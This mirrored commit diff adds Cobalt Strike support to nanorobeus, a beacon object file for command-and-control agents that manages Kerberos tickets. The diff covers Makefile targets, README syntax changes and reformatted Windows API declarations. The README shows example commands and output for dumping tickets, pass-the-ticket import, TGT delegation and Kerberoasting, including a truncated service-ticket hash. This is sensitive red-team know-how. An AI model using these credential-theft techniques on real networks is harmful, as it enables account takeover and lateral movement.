mirror of
https://github.com/wavvs/nanorobeus
synced 2026-06-08 18:08:34 +00:00
Add CS support
This commit is contained in:
@@ -4,20 +4,22 @@ CC_x86 := i686-w64-mingw32-gcc
|
||||
STRIP := strip
|
||||
OPTIONS := -O3 -masm=intel -Wall -Wextra -g -I include -fno-reorder-functions
|
||||
|
||||
.PHONY: all exe bof brc4
|
||||
.PHONY: all exe bof brc4 cs_bof
|
||||
|
||||
all: exe_64 bof_64 bof_86 brc4_64 brc4_86
|
||||
all: exe_64 bof cs_bof brc4
|
||||
|
||||
exe: exe_64
|
||||
|
||||
bof: bof_64 bof_86
|
||||
|
||||
cs_bof: cs_bof_64 cs_bof_86
|
||||
|
||||
brc4: brc4_64 brc4_86
|
||||
|
||||
exe_64:
|
||||
$(CC_x64) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \
|
||||
source/sessions.c source/entry.c source/tgtdeleg.c source/krb5.c source/kerberoast.c \
|
||||
-o dist/$(BOFNAME).x64.exe $(OPTIONS) -l advapi32 -l secur32 \
|
||||
-o dist/$(BOFNAME).x64.exe $(OPTIONS) -l advapi32 -l secur32 -l ntdll \
|
||||
-l cryptdll -l msasn1
|
||||
$(STRIP) --strip-all dist/$(BOFNAME).x64.exe
|
||||
|
||||
@@ -29,6 +31,14 @@ bof_86:
|
||||
$(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o -DBOF $(OPTIONS)
|
||||
$(STRIP) --strip-unneeded dist/$(BOFNAME).x86.o
|
||||
|
||||
cs_bof_64:
|
||||
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_cs.x64.o -DBOF -DCS_BOF $(OPTIONS)
|
||||
$(STRIP) --strip-unneeded dist/$(BOFNAME)_cs.x64.o
|
||||
|
||||
cs_bof_86:
|
||||
$(CC_x86) -c source/entry.c -o dist/$(BOFNAME)_cs.x86.o -DBOF -DCS_BOF $(OPTIONS)
|
||||
$(STRIP) --strip-unneeded dist/$(BOFNAME)_cs.x86.o
|
||||
|
||||
brc4_64:
|
||||
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_brc4.x64.o -DBRC4 $(OPTIONS)
|
||||
$(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x64.o
|
||||
|
||||
@@ -4,25 +4,24 @@ COFF file (BOF) for managing Kerberos tickets.
|
||||
## Supported agents
|
||||
* [Sliver](https://github.com/BishopFox/sliver)
|
||||
* [Brute Ratel](https://bruteratel.com)
|
||||
* Any other agent supporting Cobalt Strike BOFs (not tested)
|
||||
|
||||
* [Cobalt Strike](https://www.cobaltstrike.com)
|
||||
## Commands
|
||||
|
||||
**luid** - get current logon ID
|
||||
|
||||
**sessions** *[/luid <0x0>| /all]* - get logon sessions
|
||||
**sessions** *[/luid:<0x0>| /all]* - get logon sessions
|
||||
|
||||
**klist** *[/luid <0x0> | /all]* - list Kerberos tickets
|
||||
**klist** *[/luid:<0x0> | /all]* - list Kerberos tickets
|
||||
|
||||
**dump** *[/luid <0x0> | /all]* - dump Kerberos tickets
|
||||
**dump** *[/luid:<0x0> | /all]* - dump Kerberos tickets
|
||||
|
||||
**ptt** *\<base64\> [/luid <0x0>]* - import Kerberos ticket into a logon session
|
||||
**ptt** */ticket:\<base64\> [/luid:<0x0>]* - import Kerberos ticket into a logon session
|
||||
|
||||
**purge** *[/luid <0x0>]* - purge Kerberos tickets
|
||||
**purge** *[/luid:<0x0>]* - purge Kerberos tickets
|
||||
|
||||
**tgtdeleg** *\<spn\>* - retrieve a usable TGT for the current user
|
||||
**tgtdeleg** *\/spn:<spn\>* - retrieve a usable TGT for the current user
|
||||
|
||||
**kerberoast** *\<spn\>* - perform Kerberoasting against specified SPN
|
||||
**kerberoast** *\/spn:<spn\>* - perform Kerberoasting against specified SPN
|
||||
|
||||
## Examples
|
||||
Get current logon ID.
|
||||
@@ -47,7 +46,7 @@ LogonServer : SERVER
|
||||
LogonServerDNSDomain : FORTRESS.LOCAL
|
||||
UserPrincipalName : user@fortress.local
|
||||
```
|
||||
List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid 0x0` to list tickets in a specified logon session.
|
||||
List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid:0x0` to list tickets in a specified logon session.
|
||||
```
|
||||
=> nanorobeus64 klist
|
||||
|
||||
@@ -75,7 +74,7 @@ UserPrincipalName : user@fortress.local
|
||||
Encryption type : AES256_CTS_HMAC_SHA1
|
||||
...(snip)...
|
||||
```
|
||||
Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid 0x0` to dump tickets from a specified logon session.
|
||||
Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid:0x0` to dump tickets from a specified logon session.
|
||||
```
|
||||
=> nanorobeus64 dump
|
||||
|
||||
@@ -103,14 +102,14 @@ UserPrincipalName : user@fortress.local
|
||||
Encryption type : AES256_CTS_HMAC_SHA1
|
||||
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
|
||||
```
|
||||
Import a ticket into the current logon session. When elevated, use `/luid 0x0` to import the ticket into a specified logon session.
|
||||
Import a ticket into the current logon session. When elevated, use `/luid:0x0` to import the ticket into a specified logon session.
|
||||
```
|
||||
=> make_token network fortress.local test pass
|
||||
=> nanorobeus64 ptt doIFqjCCBaagAwIB...snip...
|
||||
=> nanorobeus64 ptt /ticket:doIFqjCCBaagAwIB...snip...
|
||||
|
||||
[+] Ticket successfully imported.
|
||||
```
|
||||
Purge all Kerberos tickets from the current logon session. When elevated, use `/luid 0x0` to purge the tickets from a specified logon session.
|
||||
Purge all Kerberos tickets from the current logon session. When elevated, use `/luid:0x0` to purge the tickets from a specified logon session.
|
||||
```
|
||||
=> nanorobeus64 purge
|
||||
|
||||
@@ -118,7 +117,7 @@ Purge all Kerberos tickets from the current logon session. When elevated, use `/
|
||||
```
|
||||
Retrieve a usable TGT for the current user.
|
||||
```
|
||||
=> nanorobeus64 tgtdeleg cifs/server.fortress.local
|
||||
=> nanorobeus64 tgtdeleg /spn:cifs/server.fortress.local
|
||||
|
||||
[*] Found the AP-REQ delegation ticket in the GSS-API output
|
||||
[*] Authenticator etype: AES256_CTS_HMAC_SHA1
|
||||
@@ -128,7 +127,7 @@ Retrieve a usable TGT for the current user.
|
||||
```
|
||||
Perform Kerberoasting by specifying SPN:
|
||||
```
|
||||
=> nanorobeus64 kerberoast HTTP/server.fortress.local
|
||||
=> nanorobeus64 kerberoast /spn:HTTP/server.fortress.local
|
||||
|
||||
[*] Target SPN: HTTP/server.fortress.local
|
||||
[+] Hash: $krb5tgs$23$*$FORTRESS.LOCAL$HTTP/server.fortress.local*$ac5e2f4d28fd377...(snip)...
|
||||
|
||||
+16
-8
@@ -2,7 +2,8 @@
|
||||
/* data API */
|
||||
#include <windows.h>
|
||||
#ifdef BOF
|
||||
typedef struct {
|
||||
typedef struct
|
||||
{
|
||||
char *original; /* the original buffer [so we can free it] */
|
||||
char *buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
@@ -16,7 +17,8 @@ DECLSPEC_IMPORT int BeaconDataLength(datap *parser);
|
||||
DECLSPEC_IMPORT char *BeaconDataExtract(datap *parser, int *size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
typedef struct
|
||||
{
|
||||
char *original; /* the original buffer [so we can free it] */
|
||||
char *buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
@@ -56,8 +58,10 @@ DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo);
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char *src, wchar_t *dst, int max);
|
||||
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); }
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ \
|
||||
BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
|
||||
}
|
||||
#elif BRC4
|
||||
DECLSPEC_IMPORT int BadgerDispatch(WCHAR **dispatch, const char *__format, ...);
|
||||
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR **dispatch, const WCHAR *__format, ...);
|
||||
@@ -71,11 +75,15 @@ DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
|
||||
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
|
||||
DECLSPEC_IMPORT int BadgerAtoi(char *string);
|
||||
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ BadgerDispatch(dispatch, __VA_ARGS__); }
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ \
|
||||
BadgerDispatch(dispatch, __VA_ARGS__); \
|
||||
}
|
||||
#else
|
||||
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ fprintf(stdout, __VA_ARGS__); }
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ \
|
||||
fprintf(stdout, __VA_ARGS__); \
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
+89
-69
@@ -13,15 +13,16 @@
|
||||
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
||||
|
||||
// mimikatz/modules/kull_m_crypto_system.h
|
||||
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_INITIALIZE) (LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID* pContext);
|
||||
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_ENCRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD* OutputSize);
|
||||
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_DECRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD* OutputSize);
|
||||
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_FINISH) (PVOID* pContext);
|
||||
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_HASHPASSWORD_NT5) (PCUNICODE_STRING String, PVOID Output);
|
||||
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_HASHPASSWORD_NT6) (PCUNICODE_STRING Password, PCUNICODE_STRING Salt, DWORD Count, PVOID Output);
|
||||
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_RANDOMKEY) (LPCVOID Key, DWORD KeySize, PVOID Output);
|
||||
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_INITIALIZE)(LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID *pContext);
|
||||
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_ENCRYPT)(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD *OutputSize);
|
||||
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_DECRYPT)(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD *OutputSize);
|
||||
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_FINISH)(PVOID *pContext);
|
||||
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_HASHPASSWORD_NT5)(PCUNICODE_STRING String, PVOID Output);
|
||||
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_HASHPASSWORD_NT6)(PCUNICODE_STRING Password, PCUNICODE_STRING Salt, DWORD Count, PVOID Output);
|
||||
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_RANDOMKEY)(LPCVOID Key, DWORD KeySize, PVOID Output);
|
||||
|
||||
typedef struct _KERB_ECRYPT {
|
||||
typedef struct _KERB_ECRYPT
|
||||
{
|
||||
LONG Type0;
|
||||
DWORD BlockSize;
|
||||
LONG Type1;
|
||||
@@ -34,7 +35,8 @@ typedef struct _KERB_ECRYPT {
|
||||
PKERB_ECRYPT_ENCRYPT Encrypt;
|
||||
PKERB_ECRYPT_DECRYPT Decrypt;
|
||||
PKERB_ECRYPT_FINISH Finish;
|
||||
union {
|
||||
union
|
||||
{
|
||||
PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;
|
||||
PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;
|
||||
};
|
||||
@@ -43,14 +45,25 @@ typedef struct _KERB_ECRYPT {
|
||||
PVOID unk0_null;
|
||||
PVOID unk1_null;
|
||||
PVOID unk2_null;
|
||||
} KERB_ECRYPT, * PKERB_ECRYPT;
|
||||
} KERB_ECRYPT, *PKERB_ECRYPT;
|
||||
|
||||
typedef struct ANSI_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PCHAR Buffer;
|
||||
} ANSI_STRING, *PANSI_STRING;
|
||||
|
||||
#if defined(BOF) || defined(BRC4)
|
||||
|
||||
// ntdll
|
||||
WINBASEAPI NTSTATUS NTAPI NTDLL$RtlUnicodeStringToAnsiString(PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);
|
||||
WINBASEAPI void NTAPI NTDLL$RtlFreeAnsiString(PANSI_STRING AnsiString);
|
||||
|
||||
// kernel32
|
||||
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);
|
||||
WINBASEAPI VOID WINAPI KERNEL32$SetLastError(DWORD dwErrCode);
|
||||
WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime);
|
||||
WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
|
||||
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32FirstW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
|
||||
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32NextW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
|
||||
@@ -58,26 +71,30 @@ WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
|
||||
|
||||
// msvcrt
|
||||
WINBASEAPI void* __cdecl MSVCRT$calloc(size_t num, size_t size);
|
||||
WINBASEAPI void __cdecl MSVCRT$free(void* memblock);
|
||||
WINBASEAPI long __cdecl MSVCRT$strtol(const char* string, char** end_ptr, int base);
|
||||
WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count);
|
||||
WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char* mbstr, const wchar_t* wcstr, size_t count);
|
||||
WINBASEAPI size_t __cdecl MSVCRT$mbstowcs(wchar_t* __restrict__ _Dest, const char* __restrict__ _Source,
|
||||
WINBASEAPI void *__cdecl MSVCRT$calloc(size_t num, size_t size);
|
||||
WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
|
||||
WINBASEAPI long __cdecl MSVCRT$strtol(const char *string, char **end_ptr, int base);
|
||||
WINBASEAPI size_t __cdecl MSVCRT$mbstowcs(wchar_t *__restrict__ _Dest, const char *__restrict__ _Source,
|
||||
size_t _MaxCount);
|
||||
WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size);
|
||||
WINBASEAPI int __cdecl MSVCRT$_vsnprintf(char *buffer, size_t count, const char *format, va_list argptr);
|
||||
WINBASEAPI int __cdecl MSVCRT$_snprintf(char *buffer, size_t count, const char *format, ...);
|
||||
|
||||
// cryptdll
|
||||
WINBASEAPI NTSTATUS WINAPI CRYPTDLL$CDLocateCSystem(LONG type, PKERB_ECRYPT *pCSystem);
|
||||
|
||||
// advapi32
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass,
|
||||
LPVOID TokenInformation, DWORD TokenInformationLength,
|
||||
PDWORD ReturnLength);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid, LPWSTR* StringSid);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid, LPSTR *StringSid);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
|
||||
BYTE nSubAuthorityCount, DWORD nSubAuthority0,
|
||||
DWORD nSubAuthority1, DWORD nSubAuthority2,
|
||||
DWORD nSubAuthority3, DWORD nSubAuthority4,
|
||||
DWORD nSubAuthority5, DWORD nSubAuthority6,
|
||||
DWORD nSubAuthority7, PSID* pSid);
|
||||
DWORD nSubAuthority7, PSID *pSid);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$EqualSid(PSID pSid1, PSID pSid2);
|
||||
WINADVAPI PVOID WINAPI ADVAPI32$FreeSid(PSID pSid);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateToken(HANDLE ExistingTokenHandle,
|
||||
@@ -94,81 +111,83 @@ WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD Des
|
||||
PHANDLE TokenHandle);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$CheckTokenMembership(HANDLE TokenHandle, PSID SidToCheck, PBOOL IsMember);
|
||||
|
||||
#ifndef CS_BOF
|
||||
// secur32
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId,
|
||||
PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData);
|
||||
PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaFreeReturnBuffer(PVOID Buffer);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID* LogonSessionList);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID *LogonSessionList);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaRegisterLogonProcess(PLSA_STRING LogonProcessName, PHANDLE LsaHandle,
|
||||
PLSA_OPERATIONAL_MODE SecurityMode);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE LsaHandle, PLSA_STRING PackageName,
|
||||
PULONG AuthenticationPackage);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE LsaHandle, ULONG AuthenticationPackage,
|
||||
PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength,
|
||||
PVOID* ProtocolReturnBuffer, PULONG ReturnBufferLength,
|
||||
PVOID *ProtocolReturnBuffer, PULONG ReturnBufferLength,
|
||||
PNTSTATUS ProtocolStatus);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaConnectUntrusted(PHANDLE LsaHandle);
|
||||
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(SEC_CHAR* pszPrincipal, SEC_CHAR* pszPackage,
|
||||
unsigned __LONG32 fCredentialUse, void* pvLogonId,
|
||||
void* pAuthData, SEC_GET_KEY_FN pGetKeyFn,
|
||||
void* pvGetKeyArgument, PCredHandle phCredential,
|
||||
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(SEC_CHAR *pszPrincipal, SEC_CHAR *pszPackage,
|
||||
unsigned __LONG32 fCredentialUse, void *pvLogonId,
|
||||
void *pAuthData, SEC_GET_KEY_FN pGetKeyFn,
|
||||
void *pvGetKeyArgument, PCredHandle phCredential,
|
||||
PTimeStamp ptsExpiry);
|
||||
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextA(
|
||||
PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR* pszTargetName, unsigned __LONG32 fContextReq,
|
||||
PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR *pszTargetName, unsigned __LONG32 fContextReq,
|
||||
unsigned __LONG32 Reserved1, unsigned __LONG32 TargetDataRep, PSecBufferDesc pInput, unsigned __LONG32 Reserved2,
|
||||
PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32* pfContextAttr, PTimeStamp ptsExpiry);
|
||||
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeContextBuffer(void* pvContextBuffer);
|
||||
PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32 *pfContextAttr, PTimeStamp ptsExpiry);
|
||||
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeContextBuffer(void *pvContextBuffer);
|
||||
KSECDDDECLSPEC SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext);
|
||||
KSECDDDECLSPEC SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential);
|
||||
|
||||
// cryptdll
|
||||
WINBASEAPI NTSTATUS WINAPI CRYPTDLL$CDLocateCSystem(LONG type, PKERB_ECRYPT* pCSystem);
|
||||
|
||||
// msasn1
|
||||
WINBASEAPI ASN1module_t ASN1API MSASN1$ASN1_CreateModule(ASN1uint32_t nVersion, ASN1encodingrule_e eRule, ASN1uint32_t dwFlags,
|
||||
ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[],
|
||||
const ASN1GenericFun_t apfnDecoder[],
|
||||
const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[],
|
||||
ASN1magic_t nModuleName);
|
||||
ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[],
|
||||
const ASN1GenericFun_t apfnDecoder[],
|
||||
const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[],
|
||||
ASN1magic_t nModuleName);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1_CloseModule(ASN1module_t pModule);
|
||||
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateEncoder(ASN1module_t pModule, ASN1encoding_t* ppEncoderInfo, ASN1octet_t* pbBuf,
|
||||
ASN1uint32_t cbBufSize, ASN1encoding_t pParent);
|
||||
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Encode(ASN1encoding_t pEncoderInfo, void* pDataStruct, ASN1uint32_t nPduNum,
|
||||
ASN1uint32_t dwFlags, ASN1octet_t* pbBuf, ASN1uint32_t cbBufSize);
|
||||
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateEncoder(ASN1module_t pModule, ASN1encoding_t *ppEncoderInfo, ASN1octet_t *pbBuf,
|
||||
ASN1uint32_t cbBufSize, ASN1encoding_t pParent);
|
||||
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Encode(ASN1encoding_t pEncoderInfo, void *pDataStruct, ASN1uint32_t nPduNum,
|
||||
ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1_CloseEncoder(ASN1encoding_t pEncoderInfo);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1_FreeEncoded(ASN1encoding_t pEncoderInfo, void* pBuf);
|
||||
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateDecoder(ASN1module_t pModule, ASN1decoding_t* ppDecoderInfo, ASN1octet_t* pbBuf,
|
||||
ASN1uint32_t cbBufSize, ASN1decoding_t pParent);
|
||||
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Decode(ASN1decoding_t pDecoderInfo, void** ppDataStruct, ASN1uint32_t nPduNum,
|
||||
ASN1uint32_t dwFlags, ASN1octet_t* pbBuf, ASN1uint32_t cbBufSize);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1_FreeEncoded(ASN1encoding_t pEncoderInfo, void *pBuf);
|
||||
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateDecoder(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, ASN1octet_t *pbBuf,
|
||||
ASN1uint32_t cbBufSize, ASN1decoding_t pParent);
|
||||
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Decode(ASN1decoding_t pDecoderInfo, void **ppDataStruct, ASN1uint32_t nPduNum,
|
||||
ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1_CloseDecoder(ASN1decoding_t pDecoderInfo);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1_FreeDecoded(ASN1decoding_t pDecoderInfo, void* pDataStruct, ASN1uint32_t nPduNum);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1bitstring_free(ASN1bitstring_t*);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1_FreeDecoded(ASN1decoding_t pDecoderInfo, void *pDataStruct, ASN1uint32_t nPduNum);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1bitstring_free(ASN1bitstring_t *);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1ztcharstring_free(ASN1ztcharstring_t);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1octetstring_free(ASN1octetstring_t*);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1intx_free(ASN1intx_t*);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1octetstring_free(ASN1octetstring_t *);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1intx_free(ASN1intx_t *);
|
||||
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecExplicitTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t* dd, ASN1octet_t** di);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecS32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t*);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecEndOfContents(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t* di);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecBitString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t*);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecZeroCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t*);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecPeekTag(ASN1decoding_t dec, ASN1uint32_t* tag);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecOctetString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t* val);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecNotEndOfContents(ASN1decoding_t dec, ASN1octet_t* di);
|
||||
WINBASEAPI void* ASN1API MSASN1$ASN1DecAlloc(ASN1decoding_t dec, ASN1uint32_t size);
|
||||
WINBASEAPI void* ASN1API MSASN1$ASN1DecRealloc(ASN1decoding_t dec, void* ptr, ASN1uint32_t size);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1Free(void* ptr);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecGeneralizedTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t*);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecSXVal(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t*);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BEREncExplicitTag(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t* pLengthOffset);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecExplicitTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t *dd, ASN1octet_t **di);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecS32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t *);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecEndOfContents(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t *di);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecBitString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecZeroCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t *);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecPeekTag(ASN1decoding_t dec, ASN1uint32_t *tag);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecOctetString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecNotEndOfContents(ASN1decoding_t dec, ASN1octet_t *di);
|
||||
WINBASEAPI void *ASN1API MSASN1$ASN1DecAlloc(ASN1decoding_t dec, ASN1uint32_t size);
|
||||
WINBASEAPI void *ASN1API MSASN1$ASN1DecRealloc(ASN1decoding_t dec, void *ptr, ASN1uint32_t size);
|
||||
WINBASEAPI void ASN1API MSASN1$ASN1Free(void *ptr);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecGeneralizedTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t *);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BERDecSXVal(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t *);
|
||||
